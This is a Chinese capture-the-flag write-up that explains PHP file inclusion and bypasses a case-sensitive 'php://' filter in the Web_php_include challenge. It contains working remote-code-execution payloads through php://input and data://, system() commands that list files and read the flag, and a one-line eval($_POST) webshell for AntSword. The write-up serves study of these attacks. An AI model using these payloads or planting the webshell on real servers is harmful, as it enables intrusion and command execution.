0%

Web_php_include

前言:

 这题主要是代码审计,其中要了解文件包含漏洞及php伪协议中的php://input还有strstr函数和str_replace函数的理解,下面我们就来进行总结。

一、解题所用到的知识总结

  1. 文件包含漏洞
      文件包含漏洞,就是说你使用文件包含函数后,会把你包含的文件也进行一遍编译或者叫做执行。
    PHP中文件包含函数有以下四种:
    1
    2
    3
    4
    5
    6
    7
    require()

    require_once()

    include()

    include_once()
     其中include和require区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。而include_once(),require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次.
  2. php伪协议中的php://input。
      一般的利用形式为file=php://input。php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行且php://input 也可以用来生成一句话木马。
  3. strstr函数的理解
     strstr(被搜索的字符串,搜索的字符串) 函数搜索字符串在另一字符串中是否存在,如果是返回该字符串及剩余部分,否则返回 FALSE。但是需要注意它是严格区分大小写的,也就是说可以利用PHp://input。
  4. str_replace函数的理解
      str_replace(str1,str2,str),将str字符串中的str1替换成str2注意:他是区分大小写的

二、解题过程及对题目的理解

 拿到题目链接,打开后发现一系列代码如下:

1
2
3
4
5
6
7
8
9
<?php
show_source(__FILE__); //语法高亮,基本没利用点
echo $_GET['hello']; //输出传参hello,因该是给我们用来判定是否传入数据成功
$page=$_GET['page']; //将get到的page值赋给$page
while (strstr($page, "php://")) { //当我传入PHp://时函数是没有检测到,返回false那么循环语句里面的都不执行。
$page=str_replace("php://", "", $page);
}
include($page); //执行包含$page文件,而page的内容我们可以通过post方式传入。
?>
  1. 通过对上面代码的分析,发现只要我们传入一个page=php://input,然后我们以post方式传入我们想要执行的命令即可。
  2. post传值有2中方式,可以是通过浏览器插件hackbar来传入,也可以通过burp suite抓包后来添加post值进行post传值
  3. 我们先传入post值为:
    1
    <?php system("ls");?>
     我们可以看到放回结果为:

     那么接下来我们执行:
    1
    <?php system("cat fl4gisisish3r3.php")?>
     此时我们如果用浏览器插件的话发现没有回显,这是因为cat的文件里的内容,被解析成php语言,我们需要查看它的源代码。

三、补充知识

  1.  看别人的wp发现可以用data://伪协议来做出此题。如:
    1
    /?page=data:text/plain,<?php system("cat fl4gisisish3r3.php"); ?> //他的效果应该是和php://input 后传post值效果一样
     这里还可以用
    1
    page=data:text/plain,<?php @eval($_POST["mayi"])?>
     来传入一句话,但是不知道为什么php://input 然后post一个一句话连不了。
    1
    因为使用php://input时我们还需要post数据进行构造一句话木马,所以我们不能直接这样去使用,我们可以试试在蚁剑中加入一个post的木马值
  2. 那么data:// 到底怎么用呢?
    简单来讲利用data:// 伪协议可以直接达到执行php代码的效果。如果对特殊字符进行了过滤,我们还可以通过base64编码后再输入如
    ==?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4===

-------------本文结束感谢您的阅读-------------